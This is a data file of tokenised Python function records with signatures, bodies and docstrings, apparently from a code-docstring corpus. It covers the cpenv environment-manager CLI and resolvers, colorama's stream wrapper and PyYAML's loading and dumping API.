{"signature": "def lock(self, name, timeout=None, sleep=<NUM_LIT:0.1>):", "body": "return Lock(self, name, timeout=timeout, sleep=sleep)<EOL>", "docstring": "Return a new Lock object using key ``name`` that mimics\nthe behavior of threading.Lock.\n\nIf specified, ``timeout`` indicates a maximum life for the lock.\nBy default, it will remain locked until release() is called.\n\n``sleep`` indicates the amount of time to sleep per loop iteration\nwhen the lock is in blocking mode and another client is currently\nholding the lock.", "id": "f8288:c0:m14"}
{"signature": "def validate(self):", "body": "for env in list(self):<EOL><INDENT>if not env.exists:<EOL><INDENT>self.remove(env)<EOL><DEDENT><DEDENT>", "docstring": "Validate all the entries in the environment cache.", "id": "f8299:c0:m2"}
{"signature": "def load(self):", "body": "if not os.path.exists(self.path):<EOL><INDENT>return<EOL><DEDENT>with open(self.path, '<STR_LIT:r>') as f:<EOL><INDENT>env_data = yaml.load(f.read())<EOL><DEDENT>if env_data:<EOL><INDENT>for env in env_data:<EOL><INDENT>self.add(VirtualEnvironment(env['<STR_LIT:root>']))<EOL><DEDENT><DEDENT>", "docstring": "Load the environment cache from disk.", "id": "f8299:c0:m3"}
{"signature": "def clear(self):", "body": "for env in list(self):<EOL><INDENT>self.remove(env)<EOL><DEDENT>", "docstring": "Clear the environment cache", "id": "f8299:c0:m4"}
{"signature": "def save(self):", "body": "env_data = [dict(name=env.name, root=env.path) for env in self]<EOL>encode = yaml.safe_dump(env_data, default_flow_style=False)<EOL>with open(self.path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(encode)<EOL><DEDENT>", "docstring": "Save the environment cache to disk.", "id": "f8299:c0:m5"}
{"signature": "def path_is_venv_resolver(resolver, path):", "body": "if isinstance(path, VirtualEnvironment):<EOL><INDENT>return path<EOL><DEDENT>raise ResolveError<EOL>", "docstring": "Checks if path is already a VirtualEnvironment", "id": "f8300:m0"}
{"signature": "def path_resolver(resolver, path):", "body": "path = unipath(path)<EOL>if is_environment(path):<EOL><INDENT>return VirtualEnvironment(path)<EOL><DEDENT>raise ResolveError<EOL>", "docstring": "Resolves VirtualEnvironments with a relative or absolute path", "id": "f8300:m1"}
{"signature": "def home_resolver(resolver, path):", "body": "from .api import get_home_path<EOL>path = unipath(get_home_path(), path)<EOL>if is_environment(path):<EOL><INDENT>return VirtualEnvironment(path)<EOL><DEDENT>raise ResolveError<EOL>", "docstring": "Resolves VirtualEnvironments in CPENV_HOME", "id": "f8300:m2"}
{"signature": "def cache_resolver(resolver, path):", "body": "env = resolver.cache.find(path)<EOL>if env:<EOL><INDENT>return env<EOL><DEDENT>raise ResolveError<EOL>", "docstring": "Resolves VirtualEnvironments in EnvironmentCache", "id": "f8300:m3"}
{"signature": "def path_is_module_resolver(resolver, path):", "body": "if isinstance(path, Module):<EOL><INDENT>return path<EOL><DEDENT>raise ResolveError<EOL>", "docstring": "Checks if path is already a :class:`Module` object", "id": "f8300:m4"}
{"signature": "def module_resolver(resolver, path):", "body": "if resolver.resolved:<EOL><INDENT>if isinstance(resolver.resolved[<NUM_LIT:0>], VirtualEnvironment):<EOL><INDENT>env = resolver.resolved[<NUM_LIT:0>]<EOL>mod = env.get_module(path)<EOL>if mod:<EOL><INDENT>return mod<EOL><DEDENT><DEDENT><DEDENT>raise ResolveError<EOL>", "docstring": "Resolves module in previously resolved environment.", "id": "f8300:m5"}
{"signature": "def modules_path_resolver(resolver, path):", "body": "from .api import get_module_paths<EOL>for module_dir in get_module_paths():<EOL><INDENT>mod_path = unipath(module_dir, path)<EOL>if is_module(mod_path):<EOL><INDENT>return Module(mod_path)<EOL><DEDENT><DEDENT>raise ResolveError<EOL>", "docstring": "Resolves modules in CPENV_MODULES path and CPENV_HOME/modules", "id": "f8300:m6"}
{"signature": "def active_env_module_resolver(resolver, path):", "body": "from .api import get_active_env<EOL>env = get_active_env()<EOL>if not env:<EOL><INDENT>raise ResolveError<EOL><DEDENT>mod = env.get_module(path)<EOL>if not mod:<EOL><INDENT>raise ResolveError<EOL><DEDENT>return mod<EOL>", "docstring": "Resolves modules in currently active environment.", "id": "f8300:m7"}
{"signature": "def redirect_resolver(resolver, path):", "body": "if not os.path.exists(path):<EOL><INDENT>raise ResolveError<EOL><DEDENT>if os.path.isfile(path):<EOL><INDENT>path = os.path.dirname(path)<EOL><DEDENT>for root, _, _ in walk_up(path):<EOL><INDENT>if is_redirecting(root):<EOL><INDENT>env_paths = redirect_to_env_paths(unipath(root, '<STR_LIT>'))<EOL>r = Resolver(*env_paths)<EOL>return r.resolve()<EOL><DEDENT><DEDENT>raise ResolveError<EOL>", "docstring": "Resolves environment from .cpenv file...recursively walks up the tree\n    in attempt to find a .cpenv file", "id": "f8300:m8"}
{"signature": "def get_type(obj):", "body": "<EOL>if isinstance(obj, cpenv.VirtualEnvironment):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>' if obj.parent else '<STR_LIT>'<EOL>", "docstring": "Get the type or classification of an environment or module", "id": "f8303:m0"}
{"signature": "def _type_and_name(obj):", "body": "return isinstance(obj, cpenv.Module), obj.name<EOL>", "docstring": "Sort key for a list of environments and modules", "id": "f8303:m1"}
{"signature": "def format_objects(objects, children=False, columns=None, header=True):", "body": "columns = columns or ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>objects = sorted(objects, key=_type_and_name)<EOL>data = []<EOL>for obj in objects:<EOL><INDENT>if isinstance(obj, cpenv.VirtualEnvironment):<EOL><INDENT>data.append(get_info(obj))<EOL>modules = obj.get_modules()<EOL>if children and modules:<EOL><INDENT>for mod in modules:<EOL><INDENT>data.append(get_info(mod, indent=<NUM_LIT:2>, root=obj.path))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>data.append(get_info(obj))<EOL><DEDENT><DEDENT>maxes = [len(max(col, key=len)) for col in zip(*data)]<EOL>tmpl = '<STR_LIT>' % tuple(maxes)<EOL>lines = []<EOL>if header:<EOL><INDENT>lines.append('<STR_LIT:\\n>' + bold_blue(tmpl.format(*columns)))<EOL><DEDENT>for obj_data in data:<EOL><INDENT>lines.append(tmpl.format(*obj_data))<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Format a list of environments and modules for terminal output", "id": "f8303:m4"}
{"signature": "@click.group()<EOL>@click.version_option(cpenv.__version__)<EOL>def cli():", "body": "EnvironmentCache.validate()<EOL>", "docstring": "Cpenv commands", "id": "f8303:m5"}
{"signature": "@cli.command()<EOL>def info():", "body": "env = cpenv.get_active_env()<EOL>modules = []<EOL>if env:<EOL><INDENT>modules = env.get_modules()<EOL><DEDENT>active_modules = cpenv.get_active_modules()<EOL>if not env and not modules and not active_modules:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>click.echo(bold('<STR_LIT>'))<EOL>if env:<EOL><INDENT>click.echo(format_objects([env] + active_modules))<EOL>available_modules = set(modules) - set(active_modules)<EOL>if available_modules:<EOL><INDENT>click.echo(<EOL>bold('<STR_LIT>').format(cyan(env.name))<EOL>)<EOL>click.echo(format_objects(available_modules, header=False))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>click.echo(format_objects(active_modules))<EOL><DEDENT>available_shared_modules = set(cpenv.get_modules()) - set(active_modules)<EOL>if not available_shared_modules:<EOL><INDENT>return<EOL><DEDENT>click.echo(bold('<STR_LIT>'))<EOL>click.echo(format_objects(available_shared_modules, header=False))<EOL>", "docstring": "Show context info", "id": "f8303:m6"}
{"signature": "@cli.command('<STR_LIT:list>')<EOL>def list_():", "body": "environments = cpenv.get_environments()<EOL>modules = cpenv.get_modules()<EOL>click.echo(format_objects(environments + modules, children=True))<EOL>", "docstring": "List available environments and modules", "id": "f8303:m7"}
{"signature": "@cli.command()<EOL>@click.argument('<STR_LIT>', nargs=-<NUM_LIT:1>)<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>def activate(paths, skip_local, skip_shared):", "body": "if not paths:<EOL><INDENT>ctx = click.get_current_context()<EOL>if cpenv.get_active_env():<EOL><INDENT>ctx.invoke(info)<EOL>return<EOL><DEDENT>click.echo(ctx.get_help())<EOL>examples = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>click.echo(examples)<EOL>return<EOL><DEDENT>if skip_local:<EOL><INDENT>cpenv.module_resolvers.remove(cpenv.resolver.module_resolver)<EOL>cpenv.module_resolvers.remove(cpenv.resolver.active_env_module_resolver)<EOL><DEDENT>if skip_shared:<EOL><INDENT>cpenv.module_resolvers.remove(cpenv.resolver.modules_path_resolver)<EOL><DEDENT>try:<EOL><INDENT>r = cpenv.resolve(*paths)<EOL><DEDENT>except cpenv.ResolveError as e:<EOL><INDENT>click.echo('<STR_LIT:\\n>' + str(e))<EOL>return<EOL><DEDENT>resolved = set(r.resolved)<EOL>active_modules = set()<EOL>env = cpenv.get_active_env()<EOL>if env:<EOL><INDENT>active_modules.add(env)<EOL><DEDENT>active_modules.update(cpenv.get_active_modules())<EOL>new_modules = resolved - active_modules<EOL>old_modules = active_modules & resolved<EOL>if old_modules and not new_modules:<EOL><INDENT>click.echo(<EOL>'<STR_LIT>'<EOL>+ bold('<STR_LIT:U+0020>'.join([obj.name for obj in old_modules]))<EOL>)<EOL>return<EOL><DEDENT>if env and contains_env(new_modules):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>click.echo('<STR_LIT>')<EOL>click.echo(format_objects(r.resolved))<EOL>r.activate()<EOL>click.echo(blue('<STR_LIT>'))<EOL>modules = sorted(resolved | active_modules, key=_type_and_name)<EOL>prompt = '<STR_LIT::>'.join([obj.name for obj in modules])<EOL>shell.launch(prompt)<EOL>", "docstring": "Activate an environment", "id": "f8303:m8"}
{"signature": "@cli.command()<EOL>@click.argument('<STR_LIT>', required=False)<EOL>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>def create(name_or_path, config):", "body": "if not name_or_path:<EOL><INDENT>ctx = click.get_current_context()<EOL>click.echo(ctx.get_help())<EOL>examples = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>click.echo(examples)<EOL>return<EOL><DEDENT>click.echo(<EOL>blue('<STR_LIT>' + name_or_path)<EOL>)<EOL>try:<EOL><INDENT>env = cpenv.create(name_or_path, config)<EOL><DEDENT>except Exception as e:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>click.echo(e)<EOL><DEDENT>else:<EOL><INDENT>click.echo(bold_green('<STR_LIT>'))<EOL><DEDENT>click.echo(blue('<STR_LIT>'))<EOL>cpenv.activate(env)<EOL>shell.launch(env.name)<EOL>", "docstring": "Create a new environment.", "id": "f8303:m9"}
{"signature": "@cli.command()<EOL>@click.argument('<STR_LIT>')<EOL>def remove(name_or_path):", "body": "click.echo()<EOL>try:<EOL><INDENT>r = cpenv.resolve(name_or_path)<EOL><DEDENT>except cpenv.ResolveError as e:<EOL><INDENT>click.echo(e)<EOL>return<EOL><DEDENT>obj = r.resolved[<NUM_LIT:0>]<EOL>if not isinstance(obj, cpenv.VirtualEnvironment):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>click.echo(format_objects([obj]))<EOL>click.echo()<EOL>user_confirmed = click.confirm(<EOL>red('<STR_LIT>')<EOL>)<EOL>if user_confirmed:<EOL><INDENT>click.echo('<STR_LIT>', nl=False)<EOL>try:<EOL><INDENT>obj.remove()<EOL><DEDENT>except Exception as e:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>click.echo(e)<EOL><DEDENT>else:<EOL><INDENT>click.echo(bold_green('<STR_LIT>'))<EOL><DEDENT><DEDENT>", "docstring": "Remove an environment", "id": "f8303:m10"}
{"signature": "@cli.group()<EOL>def cache():", "body": "", "docstring": "Environment cache commands", "id": "f8303:m11"}
{"signature": "@cache.command('<STR_LIT:list>')<EOL>def list_():", "body": "click.echo('<STR_LIT>')<EOL>environments = list(EnvironmentCache)<EOL>click.echo(format_objects(environments, children=False))<EOL>", "docstring": "List available environments and modules", "id": "f8303:m12"}
{"signature": "@cache.command()<EOL>@click.argument('<STR_LIT:path>')<EOL>def add(path):", "body": "click.echo('<STR_LIT>'.format(path), nl=False)<EOL>try:<EOL><INDENT>r = cpenv.resolve(path)<EOL><DEDENT>except Exception as e:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>click.echo(e)<EOL>return<EOL><DEDENT>if isinstance(r.resolved[<NUM_LIT:0>], cpenv.VirtualEnvironment):<EOL><INDENT>EnvironmentCache.add(r.resolved[<NUM_LIT:0>])<EOL>EnvironmentCache.save()<EOL>click.echo(bold_green('<STR_LIT>'))<EOL><DEDENT>", "docstring": "Add an environment to the cache. Allows you to activate the environment\n    by name instead of by full path", "id": "f8303:m13"}
{"signature": "@cache.command()<EOL>@click.argument('<STR_LIT:path>')<EOL>def remove(path):", "body": "r = cpenv.resolve(path)<EOL>if isinstance(r.resolved[<NUM_LIT:0>], cpenv.VirtualEnvironment):<EOL><INDENT>EnvironmentCache.discard(r.resolved[<NUM_LIT:0>])<EOL>EnvironmentCache.save()<EOL><DEDENT>", "docstring": "Remove a cached environment. Removed paths will no longer be able to\n    be activated by name", "id": "f8303:m14"}
{"signature": "@cache.command()<EOL>def clear():", "body": "if click.confirm('<STR_LIT>'):<EOL><INDENT>cpenv.EnvironmentCache.clear()<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>", "docstring": "Clear environment cache", "id": "f8303:m15"}
{"signature": "@cli.group()<EOL>def module():", "body": "", "docstring": "Module commands", "id": "f8303:m16"}
{"signature": "@module.command()<EOL>@click.argument('<STR_LIT>')<EOL>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>def create(name_or_path, config):", "body": "click.echo('<STR_LIT>'.format(name_or_path), nl=False)<EOL>try:<EOL><INDENT>module = cpenv.create_module(name_or_path, config)<EOL><DEDENT>except Exception as e:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>click.echo(bold_green('<STR_LIT>'))<EOL>click.echo('<STR_LIT>')<EOL>click.echo(\"<STR_LIT>\")<EOL>click.echo('<STR_LIT>')<EOL>click.echo('<STR_LIT>')<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>", "docstring": "Create a new template module.\n\n    You can also specify a filesystem path like \"./modules/new_module\"", "id": "f8303:m17"}
{"signature": "@module.command()<EOL>@click.argument('<STR_LIT:name>', required=False)<EOL>@click.argument('<STR_LIT:path>', required=False)<EOL>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=click.Choice(['<STR_LIT>', '<STR_LIT>']),<EOL>default='<STR_LIT>',<EOL>show_default=True)<EOL>def add(name, path, branch, type):", "body": "if not name and not path:<EOL><INDENT>ctx = click.get_current_context()<EOL>click.echo(ctx.get_help())<EOL>examples = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>click.echo(examples)<EOL>return<EOL><DEDENT>if not name:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>if not path:<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT>env = cpenv.get_active_env()<EOL>if type=='<STR_LIT>':<EOL><INDENT>if not env:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>if click.confirm('<STR_LIT>'.format(name, env.name)):<EOL><INDENT>click.echo('<STR_LIT>', nl=False)<EOL>try:<EOL><INDENT>env.add_module(name, path, branch)<EOL><DEDENT>except:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>click.echo(bold_green('<STR_LIT>'))<EOL><DEDENT><DEDENT>return<EOL><DEDENT>module_paths = cpenv.get_module_paths()<EOL>click.echo('<STR_LIT>')<EOL>for i, mod_path in enumerate(module_paths):<EOL><INDENT>click.echo('<STR_LIT>'.format(i, mod_path))<EOL><DEDENT>choice = click.prompt(<EOL>'<STR_LIT>',<EOL>type=int,<EOL>default=<NUM_LIT:0><EOL>)<EOL>module_root = module_paths[choice]<EOL>module_path = utils.unipath(module_root, name)<EOL>click.echo('<STR_LIT>'.format(module_path), nl=False)<EOL>try:<EOL><INDENT>cpenv.create_module(module_path, path, branch)<EOL><DEDENT>except:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>click.echo(bold_green('<STR_LIT>'))<EOL><DEDENT>", "docstring": "Add a module to an environment. PATH can be a git repository path or\n    a filesystem path.", "id": "f8303:m18"}
{"signature": "@module.command()<EOL>@click.argument('<STR_LIT:name>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>def remove(name, local):", "body": "click.echo()<EOL>if not local: <EOL><INDENT>try:<EOL><INDENT>r = cpenv.resolve(name)<EOL><DEDENT>except cpenv.ResolveError as e:<EOL><INDENT>click.echo(e)<EOL>return<EOL><DEDENT>obj = r.resolved[<NUM_LIT:0>]<EOL><DEDENT>else: <EOL><INDENT>env = cpenv.get_active_env()<EOL>if not env:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>mod = env.get_module(name)<EOL>if not mod:<EOL><INDENT>click.echo('<STR_LIT>' + name)<EOL>return<EOL><DEDENT>obj = mod<EOL><DEDENT>if isinstance(obj, cpenv.VirtualEnvironment):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>click.echo(format_objects([obj]))<EOL>click.echo()<EOL>user_confirmed = click.confirm(<EOL>red('<STR_LIT>')<EOL>)<EOL>if user_confirmed:<EOL><INDENT>click.echo('<STR_LIT>', nl=False)<EOL>try:<EOL><INDENT>obj.remove()<EOL><DEDENT>except Exception as e:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>click.echo(e)<EOL><DEDENT>else:<EOL><INDENT>click.echo(bold_green('<STR_LIT>'))<EOL><DEDENT><DEDENT>", "docstring": "Remove a module named NAME. Will remove the first resolved module named NAME. You can also specify a full path to a module. Use the --local option\n    to ensure removal of modules local to the currently active environment.", "id": "f8303:m19"}
{"signature": "@module.command()<EOL>@click.argument('<STR_LIT:name>')<EOL>def localize(name):", "body": "env = cpenv.get_active_env()<EOL>if not env:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>try:<EOL><INDENT>r = cpenv.resolve(name)<EOL><DEDENT>except cpenv.ResolveError as e:<EOL><INDENT>click.echo('<STR_LIT:\\n>' + str(e))<EOL><DEDENT>module = r.resolved[<NUM_LIT:0>]<EOL>if isinstance(module, cpenv.VirtualEnvironment):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>active_modules = cpenv.get_active_modules()<EOL>if module in active_modules:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>if module in env.get_modules():<EOL><INDENT>click.echo('<STR_LIT>'.format(module.name, env.name))<EOL>return<EOL><DEDENT>if click.confirm('<STR_LIT>'.format(module.name, env.name)):<EOL><INDENT>click.echo('<STR_LIT>', nl=False)<EOL>try:<EOL><INDENT>module = env.add_module(module.name, module.path)<EOL><DEDENT>except:<EOL><INDENT>click.echo(bold_red('<STR_LIT>'))<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>click.echo(bold_green('<STR_LIT>'))<EOL><DEDENT><DEDENT>click.echo('<STR_LIT>')<EOL>click.echo('<STR_LIT>'.format(env.name, module.name))<EOL>", "docstring": "Copy a global module to the active environment.", "id": "f8303:m20"}
{"signature": "def should_wrap(self):", "body": "return self.convert or self.strip or self.autoreset<EOL>", "docstring": "True if this class is actually needed. If false, then the output\nstream will not be affected, nor will win32 calls be issued, so\nwrapping stdout is not actually required. This will generally be\nFalse on non-Windows platforms, unless optional functionality like\nautoreset has been requested using kwargs to init()", "id": "f8305:c1:m1"}
{"signature": "def write_and_convert(self, text):", "body": "cursor = <NUM_LIT:0><EOL>text = self.convert_osc(text)<EOL>for match in self.ANSI_CSI_RE.finditer(text):<EOL><INDENT>start, end = match.span()<EOL>self.write_plain_text(text, cursor, start)<EOL>self.convert_ansi(*match.groups())<EOL>cursor = end<EOL><DEDENT>self.write_plain_text(text, cursor, len(text))<EOL>", "docstring": "Write the given text to our wrapped stream, stripping any ANSI\nsequences from the text, and optionally converting them into win32\ncalls.", "id": "f8305:c1:m5"}
{"signature": "def scan(stream, Loader=Loader):", "body": "loader = Loader(stream)<EOL>try:<EOL><INDENT>while loader.check_token():<EOL><INDENT>yield loader.get_token()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>loader.dispose()<EOL><DEDENT>", "docstring": "Scan a YAML stream and produce scanning tokens.", "id": "f8321:m0"}
{"signature": "def parse(stream, Loader=Loader):", "body": "loader = Loader(stream)<EOL>try:<EOL><INDENT>while loader.check_event():<EOL><INDENT>yield loader.get_event()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>loader.dispose()<EOL><DEDENT>", "docstring": "Parse a YAML stream and produce parsing events.", "id": "f8321:m1"}
{"signature": "def compose(stream, Loader=Loader):", "body": "loader = Loader(stream)<EOL>try:<EOL><INDENT>return loader.get_single_node()<EOL><DEDENT>finally:<EOL><INDENT>loader.dispose()<EOL><DEDENT>", "docstring": "Parse the first YAML document in a stream\nand produce the corresponding representation tree.", "id": "f8321:m2"}
{"signature": "def compose_all(stream, Loader=Loader):", "body": "loader = Loader(stream)<EOL>try:<EOL><INDENT>while loader.check_node():<EOL><INDENT>yield loader.get_node()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>loader.dispose()<EOL><DEDENT>", "docstring": "Parse all YAML documents in a stream\nand produce corresponding representation trees.", "id": "f8321:m3"}
{"signature": "def load(stream, Loader=Loader):", "body": "loader = Loader(stream)<EOL>try:<EOL><INDENT>return loader.get_single_data()<EOL><DEDENT>finally:<EOL><INDENT>loader.dispose()<EOL><DEDENT>", "docstring": "Parse the first YAML document in a stream\nand produce the corresponding Python object.", "id": "f8321:m4"}
{"signature": "def load_all(stream, Loader=Loader):", "body": "loader = Loader(stream)<EOL>try:<EOL><INDENT>while loader.check_data():<EOL><INDENT>yield loader.get_data()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>loader.dispose()<EOL><DEDENT>", "docstring": "Parse all YAML documents in a stream\nand produce corresponding Python objects.", "id": "f8321:m5"}
{"signature": "def safe_load(stream):", "body": "return load(stream, SafeLoader)<EOL>", "docstring": "Parse the first YAML document in a stream\nand produce the corresponding Python object.\nResolve only basic YAML tags.", "id": "f8321:m6"}
{"signature": "def safe_load_all(stream):", "body": "return load_all(stream, SafeLoader)<EOL>", "docstring": "Parse all YAML documents in a stream\nand produce corresponding Python objects.\nResolve only basic YAML tags.", "id": "f8321:m7"}
{"signature": "def emit(events, stream=None, Dumper=Dumper,<EOL>canonical=None, indent=None, width=None,<EOL>allow_unicode=None, line_break=None):", "body": "getvalue = None<EOL>if stream is None:<EOL><INDENT>from StringIO import StringIO<EOL>stream = StringIO()<EOL>getvalue = stream.getvalue<EOL><DEDENT>dumper = Dumper(stream, canonical=canonical, indent=indent, width=width,<EOL>allow_unicode=allow_unicode, line_break=line_break)<EOL>try:<EOL><INDENT>for event in events:<EOL><INDENT>dumper.emit(event)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>dumper.dispose()<EOL><DEDENT>if getvalue:<EOL><INDENT>return getvalue()<EOL><DEDENT>", "docstring": "Emit YAML parsing events into a stream.\nIf stream is None, return the produced string instead.", "id": "f8321:m8"}
{"signature": "def serialize_all(nodes, stream=None, Dumper=Dumper,<EOL>canonical=None, indent=None, width=None,<EOL>allow_unicode=None, line_break=None,<EOL>encoding='<STR_LIT:utf-8>', explicit_start=None, explicit_end=None,<EOL>version=None, tags=None):", "body": "getvalue = None<EOL>if stream is None:<EOL><INDENT>if encoding is None:<EOL><INDENT>from StringIO import StringIO<EOL><DEDENT>else:<EOL><INDENT>from cStringIO import StringIO<EOL><DEDENT>stream = StringIO()<EOL>getvalue = stream.getvalue<EOL><DEDENT>dumper = Dumper(stream, canonical=canonical, indent=indent, width=width,<EOL>allow_unicode=allow_unicode, line_break=line_break,<EOL>encoding=encoding, version=version, tags=tags,<EOL>explicit_start=explicit_start, explicit_end=explicit_end)<EOL>try:<EOL><INDENT>dumper.open()<EOL>for node in nodes:<EOL><INDENT>dumper.serialize(node)<EOL><DEDENT>dumper.close()<EOL><DEDENT>finally:<EOL><INDENT>dumper.dispose()<EOL><DEDENT>if getvalue:<EOL><INDENT>return getvalue()<EOL><DEDENT>", "docstring": "Serialize a sequence of representation trees into a YAML stream.\nIf stream is None, return the produced string instead.", "id": "f8321:m9"}
{"signature": "def serialize(node, stream=None, Dumper=Dumper, **kwds):", "body": "return serialize_all([node], stream, Dumper=Dumper, **kwds)<EOL>", "docstring": "Serialize a representation tree into a YAML stream.\nIf stream is None, return the produced string instead.", "id": "f8321:m10"}
{"signature": "def dump_all(documents, stream=None, Dumper=Dumper,<EOL>default_style=None, default_flow_style=None,<EOL>canonical=None, indent=None, width=None,<EOL>allow_unicode=None, line_break=None,<EOL>encoding='<STR_LIT:utf-8>', explicit_start=None, explicit_end=None,<EOL>version=None, tags=None):", "body": "getvalue = None<EOL>if stream is None:<EOL><INDENT>if encoding is None:<EOL><INDENT>from StringIO import StringIO<EOL><DEDENT>else:<EOL><INDENT>from cStringIO import StringIO<EOL><DEDENT>stream = StringIO()<EOL>getvalue = stream.getvalue<EOL><DEDENT>dumper = Dumper(stream, default_style=default_style,<EOL>default_flow_style=default_flow_style,<EOL>canonical=canonical, indent=indent, width=width,<EOL>allow_unicode=allow_unicode, line_break=line_break,<EOL>encoding=encoding, version=version, tags=tags,<EOL>explicit_start=explicit_start, explicit_end=explicit_end)<EOL>try:<EOL><INDENT>dumper.open()<EOL>for data in documents:<EOL><INDENT>dumper.represent(data)<EOL><DEDENT>dumper.close()<EOL><DEDENT>finally:<EOL><INDENT>dumper.dispose()<EOL><DEDENT>if getvalue:<EOL><INDENT>return getvalue()<EOL><DEDENT>", "docstring": "Serialize a sequence of Python objects into a YAML stream.\nIf stream is None, return the produced string instead.", "id": "f8321:m11"}
{"signature": "def dump(data, stream=None, Dumper=Dumper, **kwds):", "body": "return dump_all([data], stream, Dumper=Dumper, **kwds)<EOL>", "docstring": "Serialize a Python object into a YAML stream.\nIf stream is None, return the produced string instead.", "id": "f8321:m12"}
{"signature": "def safe_dump_all(documents, stream=None, **kwds):", "body": "return dump_all(documents, stream, Dumper=SafeDumper, **kwds)<EOL>", "docstring": "Serialize a sequence of Python objects into a YAML stream.\nProduce only basic YAML tags.\nIf stream is None, return the produced string instead.", "id": "f8321:m13"}
{"signature": "def safe_dump(data, stream=None, **kwds):", "body": "return dump_all([data], stream, Dumper=SafeDumper, **kwds)<EOL>", "docstring": "Serialize a Python object into a YAML stream.\nProduce only basic YAML tags.\nIf stream is None, return the produced string instead.", "id": "f8321:m14"}
{"signature": "def add_implicit_resolver(tag, regexp, first=None,<EOL>Loader=Loader, Dumper=Dumper):", "body": "Loader.add_implicit_resolver(tag, regexp, first)<EOL>Dumper.add_implicit_resolver(tag, regexp, first)<EOL>", "docstring": "Add an implicit scalar detector.\nIf an implicit scalar value matches the given regexp,\nthe corresponding tag is assigned to the scalar.\nfirst is a sequence of possible initial characters or None.", "id": "f8321:m15"}
{"signature": "def add_path_resolver(tag, path, kind=None, Loader=Loader, Dumper=Dumper):", "body": "Loader.add_path_resolver(tag, path, kind)<EOL>Dumper.add_path_resolver(tag, path, kind)<EOL>", "docstring": "Add a path based resolver for the given tag.\nA path is a list of keys that forms a path\nto a node in the representation tree.\nKeys can be string values, integers, or None.", "id": "f8321:m16"}
{"signature": "def add_constructor(tag, constructor, Loader=Loader):", "body": "Loader.add_constructor(tag, constructor)<EOL>", "docstring": "Add a constructor for the given tag.\nConstructor is a function that accepts a Loader instance\nand a node object and produces the corresponding Python object.", "id": "f8321:m17"}
{"signature": "def add_multi_constructor(tag_prefix, multi_constructor, Loader=Loader):", "body": "Loader.add_multi_constructor(tag_prefix, multi_constructor)<EOL>", "docstring": "Add a multi-constructor for the given tag prefix.\nMulti-constructor is called for a node if its tag starts with tag_prefix.\nMulti-constructor accepts a Loader instance, a tag suffix,\nand a node object and produces the corresponding Python object.", "id": "f8321:m18"}
{"signature": "def add_representer(data_type, representer, Dumper=Dumper):", "body": "Dumper.add_representer(data_type, representer)<EOL>", "docstring": "Add a representer for the given type.\nRepresenter is a function accepting a Dumper instance\nand an instance of the given data type\nand producing the corresponding representation node.", "id": "f8321:m19"}
{"signature": "def add_multi_representer(data_type, multi_representer, Dumper=Dumper):", "body": "Dumper.add_multi_representer(data_type, multi_representer)<EOL>", "docstring": "Add a representer for the given type.\nMulti-representer is a function accepting a Dumper instance\nand an instance of the given data type or subtype\nand producing the corresponding representation node.", "id": "f8321:m20"}
{"signature": "def from_yaml(cls, loader, node):", "body": "return loader.construct_yaml_object(node, cls)<EOL>", "docstring": "Convert a representation node to a Python object.", "id": "f8321:c1:m0"}
{"signature": "def to_yaml(cls, dumper, data):", "body": "return dumper.represent_yaml_object(cls.yaml_tag, data, cls,<EOL>flow_style=cls.yaml_flow_style)<EOL>", "docstring": "Convert a Python object to a representation node.", "id": "f8321:c1:m1"}
